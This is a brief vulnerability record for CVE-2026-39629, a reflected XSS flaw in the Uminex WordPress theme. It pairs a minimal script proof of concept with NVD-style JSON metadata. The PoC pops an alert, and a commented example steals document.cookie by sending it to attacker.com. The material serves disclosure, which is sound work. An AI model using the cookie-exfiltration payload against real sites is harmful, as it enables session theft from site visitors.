CVE-2026-39629

<!-- PoC for CVE-2026-39629 reflected XSS Usage: Access the vulnerable URL with the payload in the vulnerable parameter. --> <script> // Basic Proof of Concept to demonstrate XSS execution alert('CVE-2026-39629 XSS Vulnerability Detected'); // To steal cookies (example): // var c = document.cookie; // window.location.href='http://attacker.com/log.php?c='+escape(c); </script>

{"cve": {"id": "CVE-2026-39629", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:33.340", "lastModified": "2026-04-24T18:06:24.707", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in kutethemes Uminex uminex allows Code Injection.This issue affects Uminex: from n/a through <= 1.0.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/uminex/vulnerability/wordpress-uminex-theme-1-0-9-arbitrary-shortcode-execution-vulnerability?_s_id=cve", "source": "[email protected]"}]}}